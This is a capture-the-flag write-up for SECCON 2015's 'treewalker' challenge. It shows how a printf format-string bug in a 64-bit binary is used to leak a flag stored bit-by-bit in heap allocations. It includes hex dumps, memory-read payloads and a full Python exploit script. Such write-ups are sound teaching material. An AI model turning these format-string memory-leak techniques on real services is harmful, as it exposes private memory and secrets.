SECCON CTF exploit - treewalker 200

@mrexcessive @ WHA

SECCON CTF 2015

exploit treewalker

http://score.quals.seccon.jp/

The problem

FSB: TreeWalker
treewalker.pwn.seccon.jp 20000
200 points

64bit C linux program
Pwnable Exploit binary provided no source

The solution

Getting set up: download binary && file && objdump -d && strings && readelf

$ file treewalker 
treewalker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc0b5c600ab3f832132639f61e4b914f3e3b99658, not stripped

dynamic libc

See what protection it has:

$ sudo ~/CTFs/tools/checksec.sh --file treewalker 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   treewalker

No PIE... so probably return to function or ROP
There is a read_flag() function @0x400af0

Run it up locally using socat, so I can attach debugger when required.

$ socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./treewalker

Looks as though it is giving us data address on connect

0000000002345010

Working through assembler output produced by objdump

My commented .asm here https://gist.github.com/mrexcessive/16a335320fdb057bf542

We can read address of esp+0x10, then a buffer can be written to at esp+0x50
(so +x40 ahead of the address which we were told)

We can send in a p64(length) max 0x1000 followed by exactly that number of bytes
The bytes are written to buffer 0f 0x1000 (max) bytes and then printf(buffer) is executed

We can construct something to abuse the vulnerable printf()
Now, is there something simpler than trying to get shell..., the flag is in memory and we have a printf() exploitable vector

$ ./pwnserver.py
Attach debugger then press 
0000000002345010
Got address          2345010
%p %p %p %p 
0xc 0x7f10da49d5c0 0x1 0x7fffcb87b8d0

OK, nice! We are reading back through the vulnerable printf(), in comparison with GDB locally...

;Parameters read by '%p' and printf()
;[1] == 0x7f10da49d5c0 is libc address read()+0x10
;[3] == 0x7fffcb87b8d0 is a stack address:

gdb-peda$ x/64xw 0x7fffcb87b800
0x7fffcb87b800:    0x02345010  0x00000000  0xda3d1bb0  0x00007f10
0x7fffcb87b810:    0xcb87b890  0x00007fff >0xda438679  0x00007f10<  >< is $rsp
0x7fffcb87b820:    0xda7684e0  0x00007f10  0x00000008  0x00000000
0x7fffcb87b830:    0x00000008  0x00000000  0x00000001  0x00000000
0x7fffcb87b840:    0x00000000  0x00000000  0xda42e54f  0x00007f10
0x7fffcb87b850:    0xcb87b8d0  0x00007fff  0xcb87b890  0x00007fff
0x7fffcb87b860:    0x00000000  0x00000000  0x0040093d  0x00000000
0x7fffcb87b870:    0xcb87c9b0  0x00007fff  0x004008da  0x00000000
0x7fffcb87b880:    0x00000000  0x00000000  0x00000a20  0x00000000
0x7fffcb87b890:    0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0x7fffcb87b8a0:    0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0x7fffcb87b8b0:    0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0x7fffcb87b8c0:    0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0x7fffcb87b8d0:   [0x2070250a  0x25207025  0x70252070  0x00000000]   [] is leaked address
0x7fffcb87b8e0:    0x00000000  0x00000000  0x00000000  0x00000000  == %p %p %p %p\n
0x7fffcb87b8f0:    0x00000000  0x00000000  0x00000000  0x00000000
gdb-peda$ print $rsp
$2 = (void *) 0x7fffcb87b818

The question now is...
is the flag value somewhere retrievable

Lets set it to something very easy to find... AAAABBBBCCCCDDDDEEEE

It is being stored into the buffer at the address which the program announces, but the buffering is pretty complicated, lots of calloc() calls. Need to understand how that works.

It looks as though it is pulling the flag.txt contents apart bit by bit with a separate calloc() of 0x18 bytes for each bit.

To read the flag, we need to construct a pointer to that data, in a location accessible by the printf() exploit, then assemble the complete flag from the bits somehow.

ToDo list:

  1. Find out buffer address [ first job ]
  2. Setup start reveal address to the one we are given:
  3. Then repeat:
    1. construct pointer...
    2. Construct reveal using %s through pointer
    3. Execute
    4. Next address (+0x18)

And the small matter of working out how to interpret the bits data where the flag is spread across all those calloc() calls.

Well that's annoying, can't use %4$p syntax to 'jump' to 4th parameter..

*** invalid %N$ use detected ***

So... %p%p%p%p it is then...

I spend some time repeatedly coming a cropper on

vulnserver.c(77): Invalid input

Which is reported on the local server. I'm getting the length parameter wrong, which takes a while to fix.

The program requires us to send an 8 byte binary value which is interpreted as a little-endian long long. Then you have to send that exact number of bytes... without any \0 bytes at all

We can't include \0 because strlen() is used to determine the length of the block of bytes... and it only reads in the number of bytes which it is told to read.

Therefore the pointer needs to be at the end of the input data... because it is little-endian machine the LSBs can be sent and the other bytes of the address left as zeros.

We can do this because two chars of buffer input "%p" will pull an 8 byte parameter. Even though the end of the input data moves forward along the buffer, it only moves forward by 2 characters for every 8 bytes of forward movement... we can catch up with ourselves...

After some fiddling around... I have this code (fragment)

      skipToStart = "%p"*15      # 15 to start of the input buffer
      skip32percentP = "%p"*4    # this has to be mod8 == 0, skip over the %p
      fetchData = "%s"           # read the pointer XXX for now, replace %s
      #We write &abuf second... because \0 will break things...
      readthrough = p64(abuf)
      r = SendExploit(skipToStart + skip32percentP + fetchData + readthrough)

So now getting this:

$ ./pwnserver.py
Attach debugger then press 
0000000000d38010

Sending:
25 70 20 25 70 20 25 70 - 20 25 70 20                %p.%p.%p.%p.
Length: 13
%p %p %p %p 
0xd 0x7f2cd47445c0 0x1 0x7fff124c84d0 

Got buffer=          d38010, input=    7fff124c84d0
readthrough=
10 80 d3 00 00 00 00 00 -                            ........
Sending:
25 70 25 70 25 70 25 70 - 25 70 25 70 25 70 25 70    %p%p%p%p%p%p%p%p
25 70 25 70 25 70 25 70 - 25 70 25 70 25 70 25 70    %p%p%p%p%p%p%p%p
25 70 25 70 25 70 25 73 - 10 80 d3 00 00 00 00 00    %p%p%p%s........
Length: 49
1%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s��
30 78 33 31 30 78 37 66 - 32 63 64 34 37 34 34 35    0x310x7f2cd47445
63 30 30 78 31 30 78 37 - 66 66 66 31 32 34 63 38    c00x10x7fff124c8
34 64 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63    4d0(nil)0x310xcc
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78    cccccccccccccc0x
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    cccccccccccccccc
30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    0xcccccccccccccc
63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63    cc0xcccccccccccc
63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63    cccc0xcccccccccc
63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63    cccccc0xcccccccc
63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63    cccccccc0xcccccc
63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63    cccccccccc0xcccc
63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30    cccccccccccc0x70
32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78    257025702570250x
37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35    7025702570257025
30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30    0x70257025702570
32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35    250x702570257025
37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30    70250x7325702570
32 35 37 30 32 35 49 10 - 80 d3                      257025I...

That 'I' is first bit... Nice !

I let it run...
A boring flag so far...

All bits = [IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIL555555555555555555555555555555555555555
555555555555555555555555555555555555555555555555555555555555555555555]

OK I've misunderstood something about how it hides the flag: Always getting 'I' I need another read on the binary data.

Some staring at the code for construct_tree(), and this memory dump from near start of flag calloc()'d space.

0x24b9410:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b9420:    0x024b9430  0x00000000  0x00000021  0x00000000
0x24b9430:    0x00000049  0x00000000  0x024b9450  0x00000000
0x24b9440:    0x00000000  0x00000000  0x00000021  0x00000000
0x24b9450:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b9460:    0x024b9470  0x00000000  0x00000021  0x00000000
0x24b9470:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b9480:    0x024b9490  0x00000000  0x00000021  0x00000000
0x24b9490:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b94a0:    0x024b94b0  0x00000000  0x00000021  0x00000000
0x24b94b0:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b94c0:    0x024b94d0  0x00000000  0x00000021  0x00000000
0x24b94d0:    0x00000049  0x00000000  0x024b94f0  0x00000000
0x24b94e0:    0x00000000  0x00000000  0x00000021  0x00000000
0x24b94f0:    0x00000049  0x00000000  0x00000000  0x00000000
0x24b9500:    0x024b9510  0x00000000  0x00000021  0x00000000

Can you see it ?

That is the letter 'B' which was in my dummy/local flag.txt

Each memory allocation is 0x18 bytes... but in memory they are 0x20 bytes apart - because of the control structures for the calloc() and/or alignment issues.

The 0x49 'I' characters are at the start of each of the allocations... that is clear from the .asm code (see gist link at top).

zero-bit is being stored => contents of [allocation+8] is zero (0x00000000)
one-bit is being stored  => contents of [allocation+8] is a pointer
                    to the next allocation (eg [0x24b9438 above points to 0x24b9450] )

So reading down... above we have 0100 0010 == 0x42 == 'B'

We can construct a pointer to read the value at that location, instead of using %p to print the value of the pointer, we can use %s to print the contents of the string at that location. We will either get NO extra bytes of data in our output, or 3 or 4 extra bytes (depending on the buffer address - which varies).

I end up printing from an offset of +9, because I can see that the byte at [+8] will be \0 every eighth calloc() - because it is the LSB of the next calloc() and they are 32-byte aligned

It works locally.. and remotely !

After about 5 minutes I have this flag...

30 78 33 31 30 78 37 66 - 35 32 37 35 31 63 33 35    0x310x7f52751c35
63 30 30 78 31 30 78 37 - 66 66 64 33 33 30 33 33    c00x10x7ffd33033
32 39 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63    290(nil)0x310xcc
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78    cccccccccccccc0x
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    cccccccccccccccc
30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    0xcccccccccccccc
63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63    cc0xcccccccccccc
63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63    cccc0xcccccccccc
63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63    cccccc0xcccccccc
63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63    cccccccc0xcccccc
63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63    cccccccccc0xcccc
63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30    cccccccccccc0x70
32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78    257025702570250x
37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35    7025702570257025
30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30    0x70257025702570
32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35    250x702570257025
37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30    70250x7325702570
32 35 37 30 32 35 79 0b - b0 01                      257025y...
Len = 282
Got bit [0]
All bits = [0000]
All chars = [SECCON{4rb17R@rXeAd}]

That flag doesn't work though !

However it must be almost right... there's nothing in the code to start encrypting or obfuscating the flag value after storing the first '{'

I re-run the exploit using a slightly longer timeout for the read - instead of 1 second use 1.5

Now I get this

Length: 49
30 78 33 31 30 78 37 66 - 38 35 38 31 32 39 37 35    0x310x7f85812975
63 30 30 78 31 30 78 37 - 66 66 65 66 32 36 36 31    c00x10x7ffef2661
63 65 30 28 6e 69 6c 29 - 30 78 33 31 30 78 63 63    ce0(nil)0x310xcc
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 30 78    cccccccccccccc0x
63 63 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    cccccccccccccccc
30 78 63 63 63 63 63 63 - 63 63 63 63 63 63 63 63    0xcccccccccccccc
63 63 30 78 63 63 63 63 - 63 63 63 63 63 63 63 63    cc0xcccccccccccc
63 63 63 63 30 78 63 63 - 63 63 63 63 63 63 63 63    cccc0xcccccccccc
63 63 63 63 63 63 30 78 - 63 63 63 63 63 63 63 63    cccccc0xcccccccc
63 63 63 63 63 63 63 63 - 30 78 63 63 63 63 63 63    cccccccc0xcccccc
63 63 63 63 63 63 63 63 - 63 63 30 78 63 63 63 63    cccccccccc0xcccc
63 63 63 63 63 63 63 63 - 63 63 63 63 30 78 37 30    cccccccccccc0x70
32 35 37 30 32 35 37 30 - 32 35 37 30 32 35 30 78    257025702570250x
37 30 32 35 37 30 32 35 - 37 30 32 35 37 30 32 35    7025702570257025
30 78 37 30 32 35 37 30 - 32 35 37 30 32 35 37 30    0x70257025702570
32 35 30 78 37 30 32 35 - 37 30 32 35 37 30 32 35    250x702570257025
37 30 32 35 30 78 37 33 - 32 35 37 30 32 35 37 30    70250x7325702570
32 35 37 30 32 35 19 e6 - fd 01                      257025....
Len = 282
Got bit [0]
All bits = [0]
All chars = [SECCON{4rb17R@rYReAd}]

Correct flag... Result!

SECCON{4rb17R@rYReAd}

Exploit code:

def DoConnect():
   global s
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((SERVER,PORT))
   assert(s <> None)

def GetResponse(expect="",timeout=1.5):
   global s, old_data
   s.setblocking(0)
   total_data=old_data
   begin = time.time()
   while True:
      if total_data <> "" and time.time() - begin > timeout:    # wait timeout sec if we have something
         break
      elif time.time() - begin > timeout * 2:                   # wait 2xtimeout if nothing
         break
      try:
         data = s.recv(1024)
         if data:
            total_data += data
            if expect in total_data:
               total_data, old_data = total_data.split(expect,1)
               total_data += expect
               break
            begin = time.time()
         else:
            time.sleep(0.01)
      except:
         pass
   return total_data

def Send(v):
   if debug:
      sys.stdout.write(v)
      sys.stdout.flush()
   s.sendall(v)

def SendExploit(exploit):
   print "Sending:"
   if debug:
      HexPrint(exploit)
   l = len(exploit) + 1    
   print "Length: %i" % l
   Send(p64(l))
   Send(exploit + "\n")
   r = GetResponse()
   return r

def DiscoverAddresses():
   r = GetResponse()
   if debug:
      print r                 
   addr_buffer = int(r,16)               # we are given this for free
   # get the address of stack (== character input buffer)
   r = SendExploit("%p %p %p %p ")
   if debug:
      print(r)      
   # we can't use %N$ syntax... sigh... 
   nums = r.split(" ")
   addr_stack = int(nums[3][2:],16)      # skip the "0x"
   return (addr_buffer, addr_stack)

def PwnServer():
   (abuf, astack) = DiscoverAddresses()
   print "Got buffer=%16x, input=%16x" % (abuf, astack)
   abuf += 9         # start scan one byte into pointer|null address
   chars = ""
   bits = ""
   while True:
      #So... we can write any value to the first 8 bytes of input buffer
      #      (except \n or % sequences, I guess)
      skipToStart = "%p"*15      # 15 to start of the input buffer
      skip32percentP = "%p"*4    # this has to be mod8 == 0, skip over the %p
      fetchData = "%s"           # read the pointer XXX for now, replace %s
      #We write &abuf second... because \0 will break things...
      readthrough = p64(abuf)
      print "readthrough="
      r = SendExploit(skipToStart + skip32percentP + fetchData + readthrough)
      if True or debug:
         HexPrint(r)
      print "Len = %i" % len(r)
      if len(r) < 284:
         bit = "0"
      else:
         bit = "1"
      print "Got bit [%s]" % bit
      bits += bit
      print "All bits = [%s]" % bits
      if len(bits) == 8:
         chars += chr(int(bits,2))
         bits = ""
      print "All chars = [%s]" % chars
      abuf += 0x20

if __name__ == "__main__":
   vars = globals()
   vars.update(locals())
   readline.set_completer(rlcompleter.Completer(vars).complete)
   readline.parse_and_bind("tab: complete")
   shell = code.InteractiveConsole(vars)
   # any startups

   DoConnect()
   if localtest and pauseDebugging:
      print "Attach debugger then press "
      raw_input()
   PwnServer()